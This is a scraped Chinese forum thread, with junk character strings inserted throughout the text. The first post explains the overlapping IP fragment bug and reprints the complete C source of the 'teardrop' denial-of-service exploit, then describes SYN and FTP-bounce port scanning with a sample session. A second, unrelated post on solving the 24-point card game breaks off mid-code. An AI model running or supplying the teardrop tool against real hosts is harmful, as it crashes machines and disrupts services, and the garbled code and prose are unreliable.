end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)4 e2 E5 T; i2 o3 c" p
是这样处理的:
: s& y9 m: d0 ]+ u$ z/ Yif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
+ r% |) a/ H: R; ]6 W. v{8 h% k( p1 [. L- f
i = prev-&gt;end - offset;5 U$ B3 j7 C/ Y
offset += i; /* ptr into datagram */
0 \; V$ x& ^8 C( E& J( r4 i: |0 Fptr += i; /* ptr into fragment data */
* Q; Q5 a1 z* [3 u8 e$ D4 |# M}</P><P>/* Fill in the structure. */
4 j# R' a/ Z3 L6 B& ofp-&gt;offset = offset;
4 i: j2 y8 z. l- \& \7 J% wfp-&gt;end = end;
" v9 `6 y* p$ H- Hfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:2 C/ l4 u  L, h) q5 y* |# W- m* H
第一个碎片:mf=1 offset=0 payload=20& \5 |; k$ Z, H9 b/ e
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
; Y! Y5 p5 p6 T, C; ?; soffset=00 J" @, H+ e0 H
这样第二个碎片的 end=9+10=19
9 E% _9 c& `4 O% J* ^* u- Koffset=offset+(20-offset)=20
# M: _# }2 g  z5 `2 L; Q* lfp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>/ J. L, [1 g5 Z" m+ z
/*
# }: f+ G, |7 a. E2 g& `6 R* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97: n0 F" s) s% A1 T$ N
*
7 e1 \4 S5 W" X7 O; J* Linux/NT/95 Overlap frag bug exploit. {/ V8 J- y4 M  T
*
# E( Y4 ?, h7 r, b* Exploits the overlapping IP fragment bug present in all Linux kernels and
7 {5 {/ ^7 v2 H. j7 _1 w- j* NT 4.0 / Windows 95 (others?)
+ B$ L7 R. o5 Z7 ?- q+ I- N6 l*. f& H/ b; o; l9 a
* Based off of: flip.c by klepto$ Y- Z8 N- s- e- R* e4 s9 \/ {
* Compiles on: Linux, *BSD*( |4 b9 h9 m7 i
*
2 g6 B3 U7 J( e; }3 H" b. m. i* gcc -O2 teardrop.c -o teardrop
; N8 W" M; W: W& A! ~* OR
  [, T8 v" C3 e* y7 V9 _* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING* \) O4 D- B4 o7 W- C  i, \: a
*/</P><P>#include <STDIO.H>
  \! p5 `) C- [#include <STDLIB.H>; B5 o9 }! `# w  S8 ~
#include <UNISTD.H>% H3 P+ w, `# C7 z) r4 L
#include <STRING.H>
9 k1 {4 A. w/ `( Q8 F( {#include <NETDB.H>! M2 J- Q9 f. y* }; y
#include <NETINET in.h>0 ?! _+ Z! f  q6 t# v2 o, t
#include <NETINET udp.h>
0 A0 ^* ~7 ?6 {7 M#include <ARPA inet.h>
5 Y- o, `  j$ j; Z. z#include <SYS types.h>
" B* D' h! i4 q; h#include <SYS time.h>
; a: T3 a2 V+ H" b) I6 {# n#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING% A. D7 d; V0 O$ f/ G, x9 I
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
2 R, w* r$ q6 S% w- ~#define FIX(n) (n)0 g* e8 m# K# R4 c2 j* F4 f9 S) d
#else /* OpenBSD 2.1, all Linux */
. |/ [2 i2 Z) r- m" Z& T- _#define FIX(n) htons(n)
9 `* y; n9 j+ e2 m#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */  z1 T3 t% J& F3 \- g$ k! Z
#define IPH 0x14 /* IP header size */" Y. M/ s7 c- T7 X
#define UDPH 0x8 /* UDP header size */
8 }' |$ e* @; y9 H! r" z4 q, ^#define PADDING 0x1c /* datagram frame padding for first packet */' K5 q3 E' ^) F* }: X
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */) n$ x4 n* M6 Y! t( o' O8 n
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
  ]3 n* [- E9 q  p$ E7 k* withstand maybe 5 or 10 sometimes... Experiment.
6 l5 h1 w9 d3 n& N, T# q*/</P><P>void usage(u_char *);
4 l0 f9 e* o) [u_long name_resolve(u_char *);
( w/ g8 w# i4 \u_short in_cksum(u_short *, int);
* g& j7 b6 O5 n7 Pvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
- o; Z5 @' z# ^$ [1 a6 m5 l. a/ _. v{
& Y/ j' Z8 \; ?) i+ W1 o+ Dint one = 1, # Z/ t" d( n6 o$ o$ D0 j! J2 t6 w
count = 0,
# t8 w1 e* n3 M% n* w- x" j/ qi,
  u9 i$ S6 [% t9 Prip_sock;
( `9 H9 _' U* {! Eu_long src_ip = 0, dst_ip = 0;
$ K7 k( {( p4 Z' Qu_short src_prt = 0, dst_prt = 0;- R+ Z1 ^5 W- `. S: ^" M: H
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW7 _( K7 H2 I, T4 t) k3 }
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
" R% G$ [: ?2 x2 `{
, U5 J: {' X7 ]: ^1 uperror("raw socket");" |( M, m0 R3 }: a1 M" j9 T
exit(1);
2 j* S' B  ^, Q}
0 ~3 Y" v, L7 f8 A, e//由系统处理IP校验和。
% o& D6 h7 g. T7 p7 _6 pif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one)): w, O8 ?. ?! ?3 Y
&lt; 0)7 Q+ F; a" z; o8 B1 V% `
{2 Y" F" `5 d% u/ U3 O
perror("IP_HDRINCL");) t9 S7 L" w2 C' s1 X# z& J; I
exit(1);
. `+ m% N3 b0 q5 I& E: @}</P><P>if (argc &lt; 3) usage(argv[0]);
) W) k0 {/ k' g2 O2 Xif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
+ s4 t# E- s$ G" l{6 s/ j5 r" I0 K' v
fprintf(stderr, "What the hell kind of IP address is that?\n");: e) ?8 M9 e+ u% T! H
exit(1);% _8 ~6 _) n$ _0 V# o4 f
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
$ j! l9 ~- J( T6 D{
- O$ R, _8 p" G" X7 dswitch (i)
" d3 A8 `% N& T+ y. M' D, n{9 q& S* ?% k% `
case 's': /* source port (should be emphemeral) */
& o1 o9 h1 a. B/ Lsrc_prt = (u_short)atoi(optarg);
/ e( J7 y  Y3 Lbreak;) ^: }0 y8 X4 |; `3 g
case 't': /* dest port (DNS, anyone?) */: l6 {3 `3 V( |8 \$ B# J
dst_prt = (u_short)atoi(optarg);! d1 T! X1 ]" P, {1 @- ?% R
break;7 M, q' w" B4 r) P, q. W4 ]- Z
case 'n': /* number to send */
( [; N8 O4 W) \& h* _" jcount = atoi(optarg);
1 o  }8 B9 V$ M9 e8 L' ubreak;
, ~; D5 b4 w6 B( Adefault :
: {( K# ~: h% t6 H6 xusage(argv[0]);
- @* Q  W- _1 D( [; ?3 Ybreak; /* NOTREACHED */
4 g$ Z. I$ ^- d* D4 |}
7 d8 P9 P. S% A; N! l8 A3 M}</P><P>srandom((unsigned)(time((time_t)0)));; |; `6 B% p4 c+ `3 A6 D, W1 y0 ^5 j
if (!src_prt) src_prt = (random() % 0xffff);
% L0 q5 v2 u/ g1 l8 n4 g8 ^( r+ Eif (!dst_prt) dst_prt = (random() % 0xffff);2 G; ?- _5 D. W4 z1 m
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");# e3 V6 V+ D4 U
addr.s_addr = src_ip;% u  e" }* ^- p
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);; q. P+ x! B1 v( T2 x, U; \
addr.s_addr = dst_ip;: q* f4 |4 H+ a# i
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
0 R- g) ~8 n3 Y! cfprintf(stderr, " Amt: %5d\n", count);
- t6 U# P* W6 b7 @5 M% ]; o2 w) kfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
+ E/ G7 R+ L  K1 p$ g% f{
. ?( B8 P+ M  _3 K7 L0 Fsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);1 d4 h+ c: v/ J% G( s9 s; i5 Q* A
fprintf(stderr, "b00m ");
% e0 E8 C( A6 u/ X; Vusleep(500);5 w% V/ @% W$ X9 Y
}
% R4 L) _: \! e- I1 jfprintf(stderr, "]\n");
" a2 _/ t# s. }9 w6 Jreturn (0);
! v, }. j5 S" t! |3 ^}</P><P>/*
6 T  X  T# C& [, s4 [. Z1 a* Send two IP fragments with pathological offsets. We use an implementation9 F; C/ S3 S8 h: L% {
* independent way of assembling network packets that does not rely on any of
! e4 O$ L% t* e* j2 r/ b' i* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).2 j6 O* P5 I8 n9 O- Z* [
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
3 s8 \! q0 }! T; X. ]6 Vu_short dst_prt)- g# u" c* v$ F
{6 s# O  R& B. |
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */7 J. X- k6 Y, I% U# |) e8 E
u_char byte; /* a byte */; H2 _; j; j2 ?7 X& @+ Y
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
; e8 d6 c$ K- E' s  I2 _sin.sin_port = src_prt;0 E: ]6 ?2 v1 r% p4 r/ ~6 ~
sin.sin_addr.s_addr = dst_ip;</P><P>/*
/ x6 U$ w9 J# x9 u* Grab some memory for our packet, align p_ptr to point at the beginning
: S6 I8 j9 }) Q% s9 M7 z$ |6 I* of our packet, and then fill it with zeros.9 a* K- i& q, Z% F" M; C) E
*/
% Y5 c  h* z) c. Rpacket = (u_char *)malloc(IPH + UDPH + PADDING);& |& q' y( }7 H  Z
p_ptr = packet;! q0 z0 u2 \1 q0 B$ q
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */, [/ _2 y& \4 W$ @
memcpy(p_ptr, &amp;byte, sizeof(u_char));
# ^) ~, P- i2 {2 Hp_ptr += 2; /* IP TOS (skipped) */
" m6 j* d5 l; m, o*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */# ]* j1 r- P" {: h: @
p_ptr += 2;, K+ Y9 m; v% M4 C
*((u_short *)p_ptr) = htons(242); /* IP id */
! _. A& i3 L: yp_ptr += 2;
" Q, @- R9 K1 V+ _. Q( k* Q: P*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */* i+ ^4 e7 ?! {, c/ ?# r
p_ptr += 2;
& Y4 f) M3 ^7 l1 y*((u_short *)p_ptr) = 0x40; /* IP TTL */
3 _, L' D( |& V" d# O! Cbyte = IPPROTO_UDP;
8 y! N& ?/ b. ememcpy(p_ptr + 1, &amp;byte, sizeof(u_char));: I/ k! t5 G. v4 A  g3 q/ v3 _1 t8 o
p_ptr += 4; /* IP checksum filled in by kernel */
. P  L% [% d5 l& t8 t8 z. _+ }: {*((u_long *)p_ptr) = src_ip; /* IP source address */% d! i' w; k* b! d
p_ptr += 4;
: y- O. F$ x; \( h4 |, G: F3 s  [. Z*((u_long *)p_ptr) = dst_ip; /* IP destination address */
# _2 P5 z, G- u, dp_ptr += 4;
6 d. w/ o- A4 \  p- ?5 y7 n*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
  t3 L& @1 M8 {$ j& u. [6 Cp_ptr += 2;
! z' w, X( G2 S' T* F- L*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
$ V' G: s7 t$ k# b+ Qp_ptr += 2;
4 V6 w/ m9 n( h6 Q- P*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
" o2 _1 s+ \+ \3 ?sizeof(struct sockaddr)) == -1)& ~/ v* g# w$ `2 e( Q. h
{
# r. i- i" n5 D  @( X. a0 [/ Uperror("\nsendto");
4 j: N; u! ~" Z1 a& e  `3 B5 c& jfree(packet);: n' d( T) S* O" F, b
exit(1);& y# N5 r7 Y/ f, Z
}</P><P>/* We set the fragment offset to be inside of the previous packet's, i/ r4 q' E& ]' l- v* Z% Y
* payload (it overlaps inside the previous packet) but do not include
9 d/ u# E. @0 Z) X8 I0 W$ g, c* enough payload to cover complete the datagram. Just the header will0 O: F6 `! V$ u! J' y  y
* do, but to crash NT/95 machines, a bit larger of packet seems to work
' d9 A* I/ K* Z, p6 [. ~  N* better.  U7 e8 f' {: O( l& Y' ?
*/
  G5 i: {! X7 |" {* c! e2 l, i1 Zp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */. L- j9 U8 e1 E5 r# B0 U
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
6 f% o8 d# f% J" |1 R, Z' a( @/ wp_ptr += 4; /* IP offset is 6 bytes into the header */0 U3 n8 p' U9 y1 M
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,, \# M& Q; y3 V! @  Z
sizeof(struct sockaddr)) == -1)
% f. i* V( L: T( d0 H5 E{% [3 H. M$ L. e- _
perror("\nsendto");7 T) a0 j6 N3 f6 T8 I* S
free(packet);3 N" ]& X' k9 n  d( L# @
exit(1);7 I, m9 O" ]. S; v/ ?
}( y" x5 v: Q# C. Y( v: i
free(packet);
0 f$ F1 x' N$ S, d  ^3 @}</P><P>u_long name_resolve(u_char *host_name)
: X4 c+ E9 K" n4 u3 Z  H{
+ L" _' ?2 a: y( m% n7 F# gstruct in_addr addr;3 F3 N1 i# a) L
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
9 }. f9 h- q- P5 D6 g, X$ Q{
' k6 X( e0 z6 ^if (!(host_ent = gethostbyname(host_name))) return (0);8 @$ ^7 H$ x$ q# |1 ]6 b% L9 m
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
8 E9 R# ^* t4 S$ l}2 i# O6 Y( L2 l- n2 d* z0 k
return (addr.s_addr);
+ k& ^6 H  ~& f- ~- b* N}</P><P>void usage(u_char *name)  f3 |, {, n2 T; N6 W
{8 `0 G" _1 L* n6 x7 D* c4 ]
fprintf(stderr,
( |2 P' ^% ]% l, O- V"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",% Z* D' H7 V; @, Q1 s* P8 ~- P6 ?
name);: ?7 W! g# ]! b; b) _' O$ @
exit(0);
/ {. O0 L. }. o1 `  r* r}</P><P>
2 d& y- L6 R6 ^, k# f0 s- i4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: % D4 Y* }( c$ H9 T- d! }
(1) Half-open(半打开)
2 k4 m, p! U. g- D利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
- l. N7 W& s$ x+ i& K; r* P如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
" b8 A' I/ Y! o利用了FTP的port命令,例如可以这样作:7 V9 @0 N7 Q# T3 e
选择一个FTP服务器,连上后令port命令指向目标机,如果返回0 M5 m" m; K+ f. k( f# v. n
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
$ C; {( l2 M! U! g( ^3 U6 T该端口无服务。
& i- m5 V+ m5 i) a' |& Utelnet 192.168.1.13 21
4 e$ y5 R9 @1 }/ @; rTrying 192.168.1.13...
/ f4 X2 M. J" P% ~  ^6 d1 w, b0 @Connected to pp.bricks.org.
& G* p& y0 Y) g9 HEscape character is '^]'.7 q! |) X# D$ l/ S
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) ' \/ N6 B, h5 s( L) Y$ V
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
; X0 X/ U1 \, u/ v5 X2 v& ?2 Y) t331 Guest login ok, send your complete e-mail address as password.5 @9 E! w9 n" l7 N/ d" ?
pass aa@aa.aa, b  ~2 w2 v' ?1 a0 y' F1 ^
230 Guest login ok, access restrictions apply.$ T! Y3 H; ~4 ]2 H9 n3 ]  Q# X
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
; P, S" H2 u( `0 [) d0 ~2 a  j425 Can't build data connection: Connection refused.
2 U( y2 N1 I; x4 I//该端口未活动 " {4 c4 b8 |3 D1 i4 \1 H
150 Opening ASCII mode data connection for file list./ P/ N# A4 U% Y. ^8 F+ J6 m; Y
226 Transfer complete.
1 d8 A; R1 H: c0 M4 s* d  N1 e//该端口活动中
4 P7 [, b$ i, a1 H  ^2 |6 y6 D但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing2 T  p4 |! c8 J$ Y& r6 V
SYN|FIN ACK or SYN|ACK* RST3 k3 g2 W5 S) j0 }. Q
ACK Nothing RST
; [) K9 \: Z8 J5 o: Z0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport) P# w8 V  E7 h
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
1 g1 x3 q1 y7 `+ @; y/ _若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
$ _3 b" U" r9 L+ K) d2 l定它在向你做portscan。</P><P>notes:1 s% t5 \& r6 w7 A/ ?4 U, T7 _
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
2 F( u- c* j' r1 _而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的6 j% ?4 F8 f; v' }" ^2 d! m5 |
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
8 u7 q) k; B$ |  e9 K  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
  m' j- ^" h4 k2 l4 @( x1 ^
: x1 q0 {  g: p. U$ {  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
6 Y! G  c( |9 r  m( o" ~首先穷举的可行性问题。我把表达式如下分成三类——+ _; m- X5 p4 N- N0 A
<FONT color=#ff0000>1、 无括号的简单表达式。
  m* {$ H+ z0 X( ]2 A( o' z2、 有一个括号的简单表达式。
7 _* }  t" H- O* a3、 有两个括号的较复4、 杂表达式。
7 O& N; |: n5 Z( f' R! f</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
9 n$ C! X8 C/ B+ s6 y% W9 B<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
, R1 m& Q6 L+ @/* c[] 存放四张牌的数组 */, K2 f* P4 C. ^, ^. h, G
/* k[] c[]种四张牌的代号,其中k[I]=I+1。
: M( P" ?5 |# y$ ^* k用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */9 J' N* |. b8 E  H' z9 B+ {
/* kans[] 暂存生成的排列组合 */
" n% U, _; v2 J6 T; l% H3 A/* j 嵌套循环的次数 */% W, z8 d8 V- A$ o4 Q
int fans(c,k,ans,kans,j); R1 w5 V7 R2 e! j" g2 o' N
int j,k[],c[];char ans[],kans[];5 p/ d- g- k& L
{ int i,p,q,r,h,flag,s[4],t[4][4];2 L: M5 _# P) F5 c2 |
for(p=0,q=0;p&lt;4;p++)- ^  _+ A4 p! C+ a" x
{ for(r=0,flag=0;r<J;R++)
4 |: b% M, t+ c6 ^3 d/ M- ` if(k[p]!=kans[r]) flag++;
8 m# x0 b: o8 u  r, nif(flag==j) t[j][q++]=k[p];
3 X. o* X) L! b# ]# n' [}$ z+ ]- C! F1 B' V" W+ O
for(s[j]=0;s[j]&lt;4-j;s[j]++)3 ]8 y% `1 A' w; a" C
{ kans[j]=t[j][s[j]];7 d0 @7 f6 h9 s3 i; W
if(j==3) { for(h=0;h&lt;4;h++)
' h" l. }: x1 n: c1 x- o8 e( q* qans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表/ Y9 {0 U* H! ]- m9 a0 e
达式中的位置 */
' V. i9 ~% v$ O2 Afor(h=0;h&lt;3;h++)
' P+ F: P( X+ s2 I% Ksymbol(ans,h); /* 在表达式中添加运算符号 */
% |: V! X6 M$ R}# h1 b6 X" e; M5 x+ V+ I0 ^( I- j
else { j++;
$ b% t8 F6 V4 z( S2 _, ]' Yfans(c,k,ans,kans,j);
! q2 J4 X2 Y- x/ \, T8 B  X$ u* {) P2 ]j--;( ?. q$ W9 B0 k9 x) [2 x
}
6 x9 G7 |* H  A% h7 ?( l, h}) y4 J' o( K! T4 c$ o1 d7 c( t
}</FONT>4 Y" r1 C, L: }# }
1 U) k& \! L# T- H8 |2 e
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
1 {5 i9 m0 h( l# t$ P9 V" v0 Q5 N& |# p2 M9 G% P! C  Q+ b
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
& Z) F0 G$ I6 v. I% S: \int sans(ans,sy,j,h)0 U1 {( G8 P! b$ ]2 ^
char ans[],sy[];int j,h;+ w8 H' m5 }; O. d+ s' X: i
{ int i,p,k[3],m,n; char ktans[20];
% H6 f& J: L" W' \for(k[j]=0;k[j]&lt;4;k[j]++); n3 V& H; k; `
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位3 Q1 |% [" O: m# S
这里的三个运算符号分别存放在1、3、5位*/ 5 U- j6 L# ^8 {6 b( E; B
if(j==2), x! ?* h$ a: ^$ B: _' H
{ ans[5]=sy[k[j]];  \! o! ^! F; N4 q$ e% X
/* 此处根据不同的表达式形式再进行相应的处理 */
. p% p4 p' \. k( ~}) l1 ^3 F; d9 I+ U
else { j++; sans(ans,sy,j--,h); }
+ @6 l1 g1 |# [}4 S8 E3 l; B: m! d, n% @+ Z
}4 `; g' T/ T& \$ K* T' H# A. L

1 A/ t7 G  S+ b2 Z</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
8 a& D3 B+ K2 Z+ k2 P/ x# f/ e5 Mfor(m=0;m&lt;=4;m+=2)6 j& A; X% @" @4 s7 ~
for(n=m+4;n&lt;=8;n+=2)
7 B+ n, j; _5 i. {6 @: |8 j8 S8 n& ^  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。( A1 t: W& H( h- h. D9 q% g

, C% j1 O; g  k, O4 R" I! \  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。# I8 w4 d' f2 I9 t
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。! N2 I9 y! g5 F7 M! J
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
2 f, x0 X0 e) Z2 d+ N0 m% g& p1 F6 O* n# |6 W! [) L
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。9 d0 W. l, r! P% h. s7 w, m6 M

. S7 Y! z. d# w; m% ~) y* h  那么作为栈的著名应用,表达式的计算可以有两种方法。$ f5 ], y2 P. H5 |: v- }& r
5 Z+ s6 u3 f( y$ X
  <FONT color=#ff0000>第一种方法——</FONT>
, ]2 w; u6 v. `. @8 {! M. p( T  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
/ V: Q! R3 l" f. ~  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
1 o% P: e! H& ]) g- p% h+ I1、 若W为操作数
) V( J; L) l% y" b2、 则将W压入操作数栈OVS$ ?: M6 E# k; R' F% l" b3 Y
3、 且继续扫描下一个字符/ |( l& @# a, f2 o
4、 若W为运算符0 M+ F% g) V+ p7 r$ b
5、 则根据运算符的性质做相应的处理:" w' @1 C7 [% c! }( H3 Z1 ~$ K
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
# _8 H* F+ V5 P7 {(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。/ ?9 P6 _. b! m% r' x. L& {
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
, r7 C, S) V& O  k% _! F4 ~: o) N(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。! B, U/ ^1 L6 B) \( c9 o$ J: J

( Z+ u& a! j+ ?/ Y2 @, l0 \$ t<FONT color=#ff0000>  第二种方法——</FONT>
' B* [4 Y& J' j# H  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。- \% c7 O+ E" k  z7 R

( }' i8 R7 F! W4 P3 {% ~; \8 e& N  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。, S! H$ q9 g4 D5 |; L  `1 n
) M+ D  o( O2 e6 n  S
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。$ l2 k, Y. L1 o1 O3 L: V0 n! u3 b
表达式 波兰表达式, P% W# n+ D# @! D$ E' l
A-B AB-7 }/ Z5 Y: e5 B$ h- `  R  K
(A-B)*C+D AB-C*D+
, h5 o6 V# D/ n. D, mA*(B+C/D)-E*F ABCD/+*EF*-) {  W& Y) a7 I& r1 j( Y) V& k
(B+C)/(A-D) BC+AD-/4 `) \6 j' `8 g/ U* F

( Z. B+ M2 @; X; y1 _  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。! B3 i, T. r+ ~2 k, c& Z. J
0 X( D/ L  J. \; W5 V
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
& c- G% ]0 f1 Q3 `" B: B3 a
3 a6 S- D# y4 r$ g* t  下面给出转换和计算的具体实现程序——( b4 k3 X8 v! R

2 a( _+ b7 y6 H- ~<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
